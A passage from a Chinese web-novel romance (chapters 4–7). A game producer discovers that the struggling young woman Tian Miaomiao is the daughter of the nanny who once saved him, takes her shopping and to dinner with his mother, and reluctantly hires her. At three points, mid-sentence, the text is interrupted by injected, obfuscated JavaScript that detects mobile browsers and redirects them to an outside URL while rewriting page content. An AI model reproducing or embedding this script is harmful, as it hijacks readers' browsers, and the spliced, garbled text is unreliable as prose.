池修白是有追求的人,天赋、才智、野心兼而有之,对比游戏行业普遍存在的、外行指导内行的制作人,池修白无疑是最好的选择。 江弘深离开后,池修白的视线落到泛黄的信封上。 唉,真是谁看见、谁都要误会,连江弘深这个钢铁直男都能拿信来打趣他。 池修白脑海中浮现起田妙妙给他递信时,那双满含殷切的眼睛。 不得不说,对上那双眼,很难将拒绝说出口,真情流露最为动人。 池修白利落拆开信。 信上熟悉的字迹让他瞳孔震动,居然是母亲陈语女士的字,工整秀丽又不失风骨。 他草草读完信,信上内容很简略,主要是再三拜谢对方救下了自己的孩子,并邀请对方回S市,还说能安排子女的教育问题。 ……救他?田妙妙的母亲救过他? 池修白两道俊眉快拧成一团麻绳了。 他怎么会跟田妙妙的妈妈有牵扯? 池修白好久没联系陈女士了,自从他大逆不道抛弃父母给他铺设好的科研路线,转头从事了游戏制作——这种在陈女士眼里俗不可耐的事业,母子间的关系就一直不太好。 可要弄懂这封信的缘由,那就必须要找陈女士。 池修白对着信纸拍了张照片,发给陈女士。 陈女士工作一向很忙,池修白料想她可能会在几个小时后才看到这条信息。 却没料到陈女士立马打来了电话,语气激动:“这信是谁给你的,她在哪里?” 池修白不由得咋舌:“这封信的内容是真的?” 陈女士:“废话,要是没有张若兰,你可能已经被歹徒绑架撕票了,是她紧紧抱着你不撒手,你才没有被那伙人抢走。 为了保护你,张阿姨的手臂被歹徒插了两刀,她是我们家的恩人,可惜我怎么劝她回来,她都不愿意。 真没想到,过了这么多年,她终于肯来S市了,不知道是不是发生了什么变故。 总之你一定要留下她,我们得好好招待一下张阿姨。” 池修白:“她过世了,这封信是她女儿送来的。” 陈女士伤感不已:“怎么会这样,那她女儿现在在哪?肯定是走投无路了,才来找我们,你一定要替我留下她。” 池修白:“知道了,能跟我多说一点关于张阿姨的事吗?我为什么对她救我这件事毫无印象?” 陈女士:“当年我怀了你之后,你爸爸去家政公司请住家保姆,若兰就是那个时候来到我们家的,你念幼儿园的时候,被一伙歹徒盯上,险些被绑架,你受了很大的惊吓高烧一场,这些事就渐渐记不住了。” 池修白心里不是个滋味,他对童年的这场高烧有印象,但是高烧之前的事确实记不清了。 对他而言,属于是莫名其妙多了个救命恩人之女。 更关键的是,这个田妙妙实在是……一言难尽。 可偏偏她的母亲对他有莫大的恩情,他没法当田妙妙不存在。 陈女士追问:“她女儿现在在哪?送完信离开了没?” 被我骂跑了,池修白心里默道,面不改色回答:“在我这里。” 陈女士再三强调:“一定要好好招待若兰的女儿,你先订好餐厅,我马上过去。” 池修白有点犯难:“我招待她就行了,妈你不用过来。” 陈女士义正言辞:“不行,这太没礼貌了,我必须过去。” 挂了电话,池修白叹气。 看来这遭是躲不掉了,他本来计划给田妙妙一笔钱,足够她在小城市安身立命过完下半生,这样应该就能把这尊大佛请走。 然而陈女士非要见田妙妙。 他有一种不好预感,有了他妈的介入,田妙妙很有可能变成他生命中的一块狗皮膏药。 一个随时随地挟恩图报的麻烦精。 手机中进来了姜星的信息:【面试结果发到你oa上了,你看一下。如果没有问题的话,我这边就安排发offer了。】 池修白查阅收到的流程,大致看了眼,策划2人,程序3人,美术5人,还有一个单独列出来的田妙妙。 鼠标的光标停留在田妙妙处,这三个字仿佛幻化成黑色的跳舞小人,张牙舞爪地冲他大笑:“哈哈哈,你逃不掉了,我还是进问天了。” 池修白胸口淤堵,莫名升腾起一股烦躁。 ……把这样一个麻烦的人放在自己的眼皮底下真的好吗? 他可以报恩,给她提供她想要的物质条件,但没必要给她开后门,让她在自己的身边晃荡。 池修白回退流程并批复:【删掉田妙妙。】 姜星很快回复:【之前你不是同意她进问天的吗?】 池修白言简意赅:【我反悔了。她不适合问天。】 凭借他的财富和社会能量,妥善安置一个乡下女孩,实在不是难事,他完全可以帮她安排一个低门槛并且远离他的工作。 发完这句,池修白还觉得不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096993|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又补了一句:【她根本没有面试邀约,别说进问天,她甚至连来面试的资格都没有,下次不要再出现这种疏忽了。】 姜星:【好,我知道了。】 审批完面试结果,池修白不情不愿地订餐厅,是他经常去的某个高级会员制餐厅。通常要提前一两个月预约,不过池修白有特权。 安排完一切,下一步就是通知田妙妙今晚的饭局。 此时,池修白突然意识到,自己根本不知道她的联系方式。 池修白给姜星发信息:【把田妙妙的简历发我一份。】上面总该有手机号码。 姜星:【?】 姜星:【刚才说不招她,现在又要看简历,到底要怎样?】 池修白:【简历发来。】姜星最近火气太大,池修白不想跟她计较。 姜星没直接发过去,而是拿着田妙妙的简历进了池修白的办公室,当面把简历递过去。 姜星注视着池修白的眼眸。 她很想看透眼前这个男人,他究竟在想什么,明明他们曾经那么亲密过,可她却始终觉得他很遥远,像隔了层轻薄的细纱,朦胧、难以捉摸。 “她的花招对你起作用了是吗?” 池修白无语地翻了个白眼:“我有这么无聊?” “突然想看她的简历,难道还不够无聊?” “OK,算我无聊。”池修白无奈地哼了声,田妙妙果然是个麻烦。恩人之女这个身份,他打死也说不出口。 池修白快速扫了眼简历上的联系号码,暗暗记下。 姜星叹气,冷不丁来了句:“你不许喜欢上她。” “你疯了?”池修白大惊失色。 他拿起咖啡杯站起身,路过姜星时拍了拍她的肩:“你最近是不是太过焦虑了?我建议你先休息一段时间,不要着急结婚的事。” 曾经那么潇洒自由的美人,怎么变成这副模样了? 甚至还觉得他会喜欢上田妙妙,荒唐,太荒唐了。 池修白喝完水,回到办公室,拨通了田妙妙的电话:“你在哪?” 和他预想中的一致,接到电话的田妙妙很激动。 尽管她装腔作势没有秒接,尽管她按耐住没有尖叫出声,但声线的细微颤抖还是出卖了她。 是啊,有这样一步登天的机会,正常人都会受宠若惊吧? 更何况她还是个贫困的底层姑娘,有点小聪明,但还不够。 田妙妙报了个离她租住的地方最近的商场。 一听她的位置,池修白瞬间就联想到,那片搁置很久、没有拆除的棚户区。 陈旧、破败、藏污纳垢、处处都是安全隐患。 仿佛笼罩在那片区域上空的云彩,都被玷染上了贫穷的气息。 一个他永远不会驻足的灰暗地带。 推测出她住的地方,池修白甚至生出一点怜爱,她虽愚笨、却是有生命力的,不该根植于贫瘠皲裂的土壤。 池修白虽然会毫不留情讽刺田妙妙能力上的不足,但对于原生家庭的贫困,他是不会有任何厌恶与偏见。 只是投胎时欠了点运气罢了。 “我妈要见你,一起吃个饭。”池修白用高高在上的口吻通知她:“半个小时后我过去接你。” “好,谢谢。”田妙妙嘴角轻微抽搐,想压也压不下来,既然连他的妈妈都想见她,那封信一定发挥了很大的作用。 挂了电话后,田妙妙抹了把眼泪,给母亲的微信发信息,尽管母亲再也看不到了,可她依然有很多的话想告诉她: 【妈妈,你交代我的事,我做到了。我会努力去争取一切对我有助益的东西,我一定会过得很好很好的!】 廉租房没有窗户,看不见天空,可此刻她恍惚间置身于开阔的原野,一望无际的绿意,蔚蓝静谧的天际,浓郁低垂的白云,她阴暗的人生似乎出现了一道裂缝,刺目的明光穿刺进来。 田妙妙心脏砰砰直跳,她一定要把握住这个机会。 5. 第 5 章 做好的青菜豆腐面派不上用处,倒掉又实在可惜,田妙妙留着当明天早饭。 居然马上就要见到池修白的妈妈了……田妙妙呼吸急促,强行克制心底疯狂滋生的紧张感。 她真的,特别想超常发挥,让池修白的妈妈喜欢上自己,对自己能多加照拂。 可越在乎、越有压力,她根本不知道该怎么表现,是该强迫自己落落大方,还是扮可怜博同情? 其实田妙妙骨子里是个i人,糟糕的家庭环境和成长经历,造就她自卑内向,却又不认命、不服输的拧巴性格。 面对陌生人,她最真实反应是……闷不吭声。 然而事情发展到了这步,万般不由人,再怎么张不开的口,为了讨生活,也得逼着自己口若悬河。 田妙妙在狭小的出租屋里打转几圈,等到混沌繁杂的情绪慢慢平息,才动身前去约定的商场。 S市边缘地带的普通商场,也比她老家贫困县城中心商场豪华很多,这就是世界的参差。 商场人流量不错,外围有家新开业的奶茶店,门口装饰着气球和宣传海报,门两边堆放着金黄色麦穗花篮,收银台前排起长队。 田妙妙随人群凑热闹,瞅了眼价位表,赶紧收回目光。 算了算了,根本不是现在她能考虑的,等赚到钱了再说。 她迈步往商场走,一眼就看见了池修白。 他坐在咖啡店中,手里捏着杯冰美式,正低头看手机。 额前墨色发丝低垂,遮住幽深如潭的眼,薄唇锋利冷淡,玉白下颌线条优美,远远望去宛如正在拍摄文艺电影海报的男模。 周遭很多年轻靓丽的小姑娘,他混在其中,突兀又吸睛。 同龄女孩的精致时髦感,令田妙妙自惭形秽。 转念一想,自己现在连饭都吃不饱,还在乎这些虚头巴脑的外在做什么。 田妙妙定了定心神,朝池修白快步走去,推门而入。 女孩们早已暗中打量起外形出众的池修白,小声蛐蛐着他是否单身。 最后一致认为帅哥肯定不是单身,并且正在等她的女朋友。 当这些人看见田妙妙时,不禁大失所望,来人并没有美若天仙,相反有点寒酸。 “不是吧,自己穿巴黎世家,女朋友却穿地摊货,真抠门啊。” “嘘,小点声,他看过来了。” 池修白并没有听到那群女孩的议论,他只是余光扫到了田妙妙的身影,抬头望去。 她身上还是面试穿的那套,白衬衫,牛仔裤,板鞋,衣服的面料、剪裁透露出廉价感。 “你就这一套衣服?”池修白眉宇轻拧,冲她扬了扬下巴。 他说话好直白……田妙妙脸羞臊发烫,耳尖泛红。 她是从老家偷跑出来的,只穿了一套衣服,就连身上这套也是为了面试特地淘来的。 “还有一套,已经洗了。”田妙妙低垂着头,说话声音没有底气。 在这样外形优越的成功男士面前,以她目前的道行,还是难以做到不卑不亢,很容易被他三两句轻飘飘的话搞得自信心全无。 池修白将她的窘态尽收眼底,把桌上另一杯拿铁推过去:“喝点吧,热得额头都冒汗了。” 田妙妙更想死了,那明明是尴尬的汗…… 眼前的咖啡杯壁上挂着冷凝水珠,一杯的价格顶她一两周的饭钱。 “谢谢。”田妙妙接过,啜饮一口,凉意冲散胸腹的灼热,咖啡的醇苦对她而言是一种新奇美妙的体验,她品味不出贵在哪里,只觉得新鲜。 池修白上下打量她的衣着,想起陈女士特意嘱咐的——要好好招待她。 “走,带你换身衣服。” 田妙妙咽下话到嘴边的“不用了,我穿这样就挺好”,跟在他身后乖乖点头:“好,谢谢。” 她想通了,不必要的自尊非但不会对现状有所改善,还会徒增内耗。 坦然地接受对方的轻视,以及施舍般的馈赠,没什么不好,起码能多一套上档次的行头。 这个商场离市中心远,并不高端,没有琳琅满目的奢品店,稍稍减轻田妙妙的局促感。 池修白很随意地闲逛,在女装区寻找适合田妙妙的风格。 他用余光打量田妙妙,做出判断,她还是更适合简单干净的衣服,走坚韧小白花路线。 池修白进入一家女装店,把田妙妙推给店员,让她快速搭配一套风格合适的衣服出来。 店员给田妙妙挑了一条简约淑女的白裙,她笑着冲池修白说:“这条裙子一看就适合你女朋友,像茉莉花一样的姑娘。” 田妙妙当场麻了,她都不敢看池修白的脸色,忙说:“我们不是男女朋友,你别误会。” “抱歉抱歉哈,怪我嘴太快。”店员歉意地轻拍自己的嘴巴。 “行了,别耽误时间,赶紧去试吧。”池修白坐在店里等待区的沙发上,没有追究刚才的冒犯话语。 田妙妙快速去试衣间换上裙子,她很清瘦,薄成纸片,这条裙子在她身上,多了分清冷白月光感。 从试衣间走出来后,她站在镜子前打量自己,从镜子里窥见池修白抬头看她。 视线如常,并没有被惊艳,而是一种“可算穿的像个人了”的平静目光。 店员非常热情,对着田妙妙夸个不停,很夸张地形容她是仙女,这条裙子简直像是为她量身打造的云云。 田妙妙尴尬地瞥向池修白,果然看见他嘴角扬起忍俊不禁的嘲弄笑意。 “就这件吧。”田妙妙说。 和完全不熟的男人出来买衣服,真是一件让人浑身不自在的事情,她想快点结束这一切。 结账时,田妙妙被价格震惊了。 这条白裙看起来平平无奇,打完折居然还要三千多,虽然不是她付钱,可还是肉痛不已。她非常没出息地想脱下裙子,让池修白把钱转给她,她去网上买条差不多款式的。 她在脑海中默默换算,这笔钱够她在这座城市无收入的情况下多熬两三个月呢。 池修白爽快付完钱,又带她换了双搭配裙子的鞋。 细跟细带的凉鞋,搭配她纤瘦的脚腕,真的很漂亮。 田妙妙第一次穿高跟鞋,走起路来颤颤巍巍,姿态并不美观。她提议想换小白鞋,池修白却按照自己的审美,依然选定这双。 付钱的是大爷,田妙妙不再发表意见。 接着池修白带她去一楼的大牌彩妆专柜,让柜姐帮忙化了个淡妆,用到的化妆品和香水一律打包,眨眼间消费了一万多。 田妙妙频频接受金钱的冲击和洗礼,“有点太贵了吧。” “有点出息好吗?你以后难道不用化妆了?”再说,这点钱对池修白而言,太小儿科了,他给女人送礼物,起手就是香奈儿,这种普通商场他平常很少涉足的。 田妙妙悄悄撇了下嘴。 看到田妙妙从头到尾焕然一新后,池修白点点头,总算看顺眼了。 遮掉脸上的不健康的黄气,田妙妙五官的优势发挥出来,让人一眼舒服的淡颜,柔和、没有攻击性,尤其是眼睛,宛如一汪秋水。 田妙妙路过反光镜,草草看了一眼,镜子里的女孩真的是她吗?真像偷穿水晶鞋变身的灰姑娘。 虽然不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096994|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池修白为什么非要装扮她,但在金钱的作用下变漂亮了,算是意外收获,她甜甜道:“谢谢。” “就只会说谢谢?”一连听到好几遍干巴巴的谢谢,池修白都听烦了,“你的表达能力很一般,很难提供相应的情绪价值。” 换句话说,当个捞女都不够格。毕竟是恩人之女,他口下留情了,没有说得那么直白。 被他指出不足,田妙妙虚心改进,重新说:“谢谢你送我的东西,我很喜欢,非常开心。” 池修白这才满意:“等会见到我妈之后,什么该说,什么不该说,你心里有数。” 原来他这是赔礼道歉啊,害怕她向他妈告状呀。 “面试时候你对我说的话,我会记在心里,不会怨恨你的。”田妙妙说得很诚恳。 她现在可谓是能伸能屈,在心里默默将池修白视为“金主”,只要能从他身上爆出金币,被他贬损两句又能怎样? 况且他说的,倒也不是完全不对。 如果没有那封信在,如果不是她妈妈和池修白有些渊源,就凭田妙妙的面试表现,被骂也是不冤枉的。 两人到了负二层停车场,田妙妙习惯性跟在池修白身后,呼吸轻轻的,安静到让人难以察觉。 她好像很喜欢当个透明人,池修白发觉自己错估她了,她还挺怂的。 真不知她哪来的勇气,敢走进问天的面试现场的。 两人一前一后,走到停车位,黑色法拉利Purosangue,低调帅气,不似跑车车型那么张扬。 田妙妙突然纠结起来,自己到底应该坐后排还是副驾驶。 副驾驶通常是伴侣的专座,而后排则是老板坐的位置。 她哪样都不符合。 田妙妙想了想,还是选择后排吧,坐副驾驶的话,万一被他误解为她想攀高枝就不好了。 毕竟,他这么嫌弃她。 田妙妙走到后面,正要开门,就听见池修白不悦的声音:“你还真把我当司机了?到前面来。” “哦哦,你也不早说。”田妙妙小声咕哝了句,灰溜溜上了副驾驶位置。 “你嘀咕什么呢?”池修白凉飕飕地开口。 田妙妙讪笑,灵光一现:“我刚才害怕坐前面,你女朋友会不开心。” “这个时候倒是挺有自知之明的。” 没有否认女朋友这件事,看来是真有啊…… 田妙妙浑身不自然,如坐针毡,思维不由自主发散,他的女朋友应该是什么样子的人呢? 肯定特别漂亮,脾气还特别好。 不然就他这张刻薄的嘴,没几个女人能忍得了。 在回神的时候,猛然对上池修白的目光,冷淡中透着轻微无语。 她心里咯噔一下,茫然问道:“怎么了?” “安全带。”池修白抬了下下巴,提醒道:“难不成还等我帮你系?刚才还说你有自知之明。” 田妙妙脸腾地一下烧起来,还好有粉底遮盖,不至于太出丑。 她根本就没有坐过几次私家车副驾驶,完全没有意识到安全带这回事。 在她手忙脚乱地扣好安全带后,池修白这才发动车子。 真不知道,田妙妙的脑子究竟是什么构造? 一点都不机灵。 池修白实在是看不出来她的行为目的,如果是对他有什么非分之想,那她应该脑子灵光点,学会察言观色,然而她看起来还挺单纯,挺知足,不像是有更大的目标。 莫非这是更高阶的路数?故意装傻让人产生探究欲? 池修白摇摇头,不论她什么目的,他都见招拆招。 6. 第 6 章 池修白握着方向盘,目光随意地扫了一眼副驾驶座上的田妙妙。 她的手指紧紧攥着购物袋的提手绳,指节微微发白,仿佛在极力掩饰内心的紧张。 “想好待会儿见到我妈时,该说什么了吗?” 田妙妙闻言,偏头看他,侧脸线条完美得好似建模,真不知道怎么长得。 片刻后收回视线,咬了咬唇,声音轻得几乎听不见:“就说……我想留在S市。” 池修白嗤笑一声,没有再说话。 车内陷入一片沉默,只有引擎的低鸣声在耳边回响。 田妙妙的目光落在车窗外的街景上,高楼大厦、车水马龙、灯火辉煌,这座城市的繁华与她格格不入。 她深吸一口气,努力让自己看起来平静一些。 车子缓缓驶入幽静的林荫大道,仿佛一瞬间从喧嚣的都市进入了另一个世界,最终停在一座古朴秀丽、极具江南风情的园林前。 “到了。”池修白缓缓停下车。 田妙妙跟着他下了车,脚步有些迟疑。 环视四周,景色幽深雅致,翠竹藤萝相映成趣,田妙妙饱完眼福,仍疑惑:“不是要去吃饭吗?怎么来逛园子了?” 池修白斜她一眼,淡声:“这就是餐厅,没见识。” 田妙妙缄默,好吧,又被他说中了。 一身黑西装的泊车员恭敬地上前,接过池修白手里的车钥匙,替他停车。 两人走进餐厅,身着旗袍、高挑靓丽的服务员迎了上来,将他们引到预定好的包厢。 包厢外是一座精心打理过的小院,亭台楼阁,假山流水,花团锦簇,花香伴着晚风一阵阵袭来。 “我妈还没到,你先坐着。”池修白抬手看了一眼表。 田妙妙点了点头,目光落在桌上的精致餐具上,心里一阵恍惚。 她从未想过自己有一天会坐在这样的地方,与池修白这种阶层的人共进晚餐。 没过多久,池修白的手机响了。 他接起电话,简短地说了几句后挂断,随即站起身:“我妈到了,我去接她。” 田妙妙连忙跟着起身:“我跟你一块去接阿姨吧。” 毕竟是长辈,她一个人坐在这里等实在有点没礼貌。 叫这么亲切?怪会巴结的。 池修白皱了皱眉,似乎想说什么,但最终只是意味不明地看了她一眼。 “走吧。”她的要求挑不出什么错,池修白只得默许。 出了包厢,原路返回。 池修白走在前面,背影挺拔而冷漠,仿佛与她隔着一道无形的屏障。 田妙妙跟在他身后,心里有些不安。 她知道池修白对她没什么好感,甚至可以说是厌恶。可她别无选择,只能硬着头皮走下去。 不算短也不算长的一段路,田妙妙思绪纷乱,马上就要见到他的妈妈了,如果能让她喜欢上自己,接下来她在S市的日子就会有保障。 可万一搞砸了怎么办?即将到手的美梦就此破灭。 千万不要…… 胡思乱想之际,田妙妙没有注意到脚下的台阶,并且还是第一次穿高跟鞋,稍有不慎便一脚踏空,身体完全失去平衡,向前倾倒。 在即将摔倒之际,胳膊被一只温热有力的手掌稳稳握住,拉了回来。 她摇晃的身体堪堪站稳。 “你就是打算这么在我妈面前表演的吗?”池修白松开手,靠近她耳边,咬牙切齿:“有点太拙劣了。” 真不知道该说她聪明还是愚蠢。 “我……不是、我真不是故意的。”田妙妙面色焦急,百口莫辩。 “当心点啊,刚才有没有崴到脚?”一道温和优雅的女声传来。 田妙妙闻声看过去。 来人正是池修白的妈妈,五官与他有几分相似,是无可争议的美,经历岁月的洗礼沉淀,更显韵味。 再加之保养得当,看上去才三十多岁的样子,和田妙妙的妈妈相比,像是两代人。 因为刚从学校实验室过来,陈女士的衣着简单轻便,头发也随意挽着,脸上还带着眼镜,看起来很知性。 “修白,你也太不小心了,差点让贵客摔倒,怎么照顾人的?”陈女士毫不留情数落起儿子:“一点都不够绅士哦。” “阿姨好,我是田妙妙。刚才不是他的问题,是我太紧张走神了,没有注意到脚下,要不是……”田妙妙感激地看向池修白:“他扶了我一把,我就摔倒了。” 陈女士笑起来,毫无长辈架子,啧啧赞道:“修白你听听,人家小姑娘多懂事,净替你说好话呢。” 池修白散漫地看了她一眼,扯了扯嘴角:“演技不错。” 田妙妙愣了一下,他还是当她在演戏,心里不由得一阵委屈。 她张了张嘴,刚想解释,突然一阵急风吹过,眼睛被风一吹,一根睫毛恰好掉进眼中,强烈的异物感让她的泪水不受控制地流了下来。 “修白,你不领情也就罢了,怎么还能这样?”陈女士见状,立刻皱起了眉头,语气里带着责备,“妙妙可是你救命恩人的女儿,你怎么能欺负她?” 池修白无语地翻了个白眼,转身对陈女士说道:“妈,我怎么欺负她了?” “刚才不就是你嘴贱?”陈女士拉着田妙妙的手,语气温柔:“妙妙,别怕,有阿姨在,他不敢欺负你。他再嘴贱,我替你骂他。” 田妙妙低下头,终于把那根睫毛揉出来了,不适感减弱,但眼泪还在不停地流。 她心里有些复杂,她知道池修白彻底误会她了,估计觉得她此刻掉眼泪也是在装。 可她无法解释,只能任由陈女士误会下去,陈女士的心疼对她来说,太重要,也太有用了。 池修白站在一旁,无言地看着这一幕,嘴角勾起一抹讽刺的笑意。 他悄悄冲田妙妙比了个大拇指,意思再明显不过——你真牛,真会演。 田妙妙心里一颤,故意装没看见,面色如常,看起来不受影响。 “行了,咱们三别站在门口了,耽误人家的生意。”池修白说。 三人回到包厢,坐下后,陈女士开始询问田妙妙的情况。 “妙妙,你这次来S市,有什么打算吗?有没有找好工作和住的地方?”陈女士的语气里带着关切。 田妙妙抬起头,看了一眼池修白,见他面无表情,心里有些忐忑。 她犹豫了一下,轻声说道:“我……我还在找,暂时都还没有定下来。” 陈女士忧心忡忡,转头看向池修白:“修白,你不是开了一家游戏工作室吗?能不能帮妙妙安排一下?” 池修白放下手中的茶杯,笑了一下,却不松口:“妈,工作室有工作室的规矩,不是随便什么人都能进的。” 田妙妙心里一沉,指甲不自觉地掐着掌心。她知道池修白不会轻易帮她,可听到他这样直白地拒绝,心里还是忍不住一阵失落。 陈女士显然有些不悦,话中难掩责备:“修白,妙妙到底是若兰的女儿,你怎么能这么冷漠?再说了,妙妙这么聪明懂事,将来一定能胜任的。” “将来的事将来再说吧,先吃饭,我饿死了。”池修白岔开话题,示意服务员上菜。 “你一忙起来,就饮食不规律,长此以往身体要出毛病的。”到底是亲生的,尽管完全跟家里对着干,当母亲的难免还是忧心着儿子的健康。 “放心,我没事。”池修白随口应付道。 菜品陆续上齐,分量不大,摆盘精致,一看就很贵的风格。 陈女士时不时用公筷给田妙妙夹菜,两人一直在聊田妙妙的妈妈,基本上是陈女士问,田妙妙答,仿佛有说不完的话。 池修白对她们的交谈不感兴趣,专心致志用餐。 田妙妙和陈女士聊的挺投机,她喝了不少水,膀胱有反应:“阿姨,我去一下洗手间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096995|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈女士点了点头:“去吧,别着急,慢慢来。” 田妙妙匆匆离开餐桌,走到洗手间,解决完尿急后,身体很舒畅,心情更舒畅,因为她能感觉到,池修白的妈妈好像真的挺喜欢她的。 洗手时,手机屏幕亮了一下,上面显示着一条未读消息。 她点开一看,是姜星发来的面试结果的回复。 【很抱歉地通知您,您的面试未能通过,感谢参与。】 田妙妙指尖微微颤抖,心脏被一只无形的手狠狠揪扯抓挠。 虽然刚才也听到了池修白的拒绝,可真当收到结果通知的时候,还是心凉半截,难以接受。 他为什么就不肯看在两个长辈的面子上,给她一个机会呢? 田妙妙剧烈地深呼吸几下,暗暗下定决心,既然池修白不愿意帮她,那她就只能豁出去靠自己了。 回到餐桌后,田妙妙坐下,看了一眼慢条斯理进食的池修白,对陈女士说道:“阿姨,其实我今天去问天工作室面试了,刚刚收到了HR的回复,很遗憾,我没有通过面试,可是我真的很想进问天工作室。” 陈女士愣了一下,随即皱眉看向池修白:“修白,这是怎么回事?” 池修白的脸色瞬间沉了下来,他冷冷地盯着田妙妙,眼神仿佛想把她大卸八块。 明明来之前已经提醒过她什么该说、什么不该说,她竟然还敢故意唱反调,真是吃了雄心豹子胆了。 池修白是个久居上位的人,对于这种明目张胆的忤逆极为厌恶。 田妙妙心脏怦怦直跳,低下头,假装没有看到他可怕的目光。 “妈,我说过了,工作室有工作室的规矩,不是我能随便决定的。”池修白强压怒意,敷衍的语气中带着一丝不耐。 陈女士显然不信,她最清楚儿子的脾性:“工作室就是你成立的,你是一把手,能有别人说话的份?往里加个人还不就是你想不想的事!修白,做人不能忘本,你虽然不记得小时候发生的事,但妈妈还替你记着呢!别让你若兰阿姨在天上寒心!” 见母亲真正动气了,池修白沉默了片刻,最终点了点头:“好吧,我会安排她进工作室。” 此时气氛已降至冰点,但田妙妙不合时宜地心中暗喜,工作一事可算有着落了。 她知道,这只是第一步,接下来还有更多的挑战等着她。 后半程的饭局,氛围一直很微妙,池修白几乎一言不发,田妙妙心虚地用餐,一桌子珍馐,却品不出个滋味。 吃完饭后,池修白送田妙妙回去。 车内死一样的沉寂,气氛压抑得让人喘不过气来。 “你到底想干什么?”池修白突然开口质问,声音冷冽如冰,“我记得我提醒过你,在我妈面前什么话该说,什么话不该说。” 田妙妙低垂脑袋,指腹死死压着座椅,深吸一口气后,梗直脖子看向他,鼓足勇气坚定说道:“我只是想在这座城市活下去。” 池修白冷笑一声:“我可以帮你安排进其他公司,不一定非要在我的工作室。” 这种话听在田妙妙耳朵里,无异于他的权宜之计,本质上是想把她赶走,让她滚得远远的,绝不能靠近S市半步。 她失去了所有,肩负着母亲的遗愿,孤身一人来到大城市,任何的不确定性于她而言都是杯弓蛇影。 她能做的,就是靠近他,把握住每一个微小的机会。 田妙妙眼眶中泪水快速积聚,沉默了片刻,颤声说道:“我还是希望离你近一点。” 池修白的眉头拧得更紧了,话中带着不可置信:“你该不会对我有意思吧?费尽心思都要进我的工作室,难不成你想跟我上床?” 田妙妙没有回答,只是低下头,轻视和误解仍让她羞耻到浑身颤抖,过了一会儿话语哽咽:“随便你怎么想。” “哭什么?我还没哭呢?”池修白叹气:“我怎么摊上你这么个麻烦精。” 7. 第 7 章 听见池修白形容她是麻烦精,田妙妙既尴尬又委屈,本就处在崩溃的边缘,此刻更是绷不住了,泪水汹涌流出。 短短几天,她经历得太多太多了。 说到底她也不过是个刚刚失去母亲,还险些被逼嫁人的年轻女孩。 她的承受能力还没有那么大,她也有情绪,也想得到安慰。 可惜,池修白注定不是那个能提供情绪安慰的人。 哭了一会儿,池修白无声地递过来一包抽纸。 田妙妙接过,擦干净眼泪和鼻涕,尽量平复伤感的情绪,“对不起,我……我就是想到我妈了……” 池修白心里五味杂陈,念及她刚失去母亲,是个可怜人,语气温和下来:“过好你自己的人生,她会开心的。” “我知道你看不起我,讨厌我,我确实不懂游戏制作,还非要进问天,但我可以先做那些不需要专业性的事情,打印资料、收发快递、打扫卫生、电话客服之类的都可以,我会在工作之余学习游戏制作方面的知识,争取早日成长为符合工作室要求的人。” 田妙妙用力说:“我就是想告诉你,我不是你想的那种不思进取,一心只想走后门的人,我真的会努力的,我只想有一个机会。” “工作的事在饭桌上已经答应下来了,我做出的决定通常不会收回。” 在池修白的项目组里,一贯秉持着实力为王的原则,对于“我会努力的”之类的保证,他向来嗤之以鼻。 放之前他会毫不留情地说:我的工作室是游戏工作室,不是慈善工作室,不会支付薪水等待员工从零开始学习成长。 但田妙妙刚哭成这样,他不好再说些刺激她的话,省得她又要掉眼泪。 他真的很烦女人哭,处理不来。 反正这个麻烦他已经接下了,田妙妙努不努力,能不能胜任工作都不重要,不再联系陈女士告状很重要。 养一个米虫,应付陈女士,自己耳根也能清净,这就是池修白的真实想法。 得到了池修白的保证,田妙妙不安的情绪有所缓解。 解决完工作的事,还剩下租房的事,田妙妙艰难开口:“我能不能先预支三个月的薪水,我想租房子,但是中介那边告诉我,需要押一付三,我拿不出这么多钱。” 池修白手指在方向盘点了两下,思忖片刻后,他问:“你带的东西多吗?” 田妙妙:“不多。” “收拾完要多久?” “最多十分钟。” “行,我送你回去,你把东西收拾好带上。” “带上之后呢?”田妙妙有点紧张:“是要去你那边吗?” 难道之后要和他住在一起? 为了得到这份工作,真的要出卖身体了吗? 当然她是可以接受的,因为他的外形条件不会让她觉得很委屈。 人有的时候就是这么的现实…… “我房子多,有空置的,你先过去住,等以后找好房子再搬走。”池修白解释,防止她误会。 “真的吗?太感谢了!终于不用担心露宿街头了。”田妙妙心动不已,虽然他一点都不会哄人,嘴巴刻薄,脾气也差,动不动黑脸,但却能给她提供切实的物质帮助,解决燃眉之急。 S市的房租高到吓人,有个免费的落脚地,实在是救大命了,她会一直住,住到被他赶走的那一天。 -- 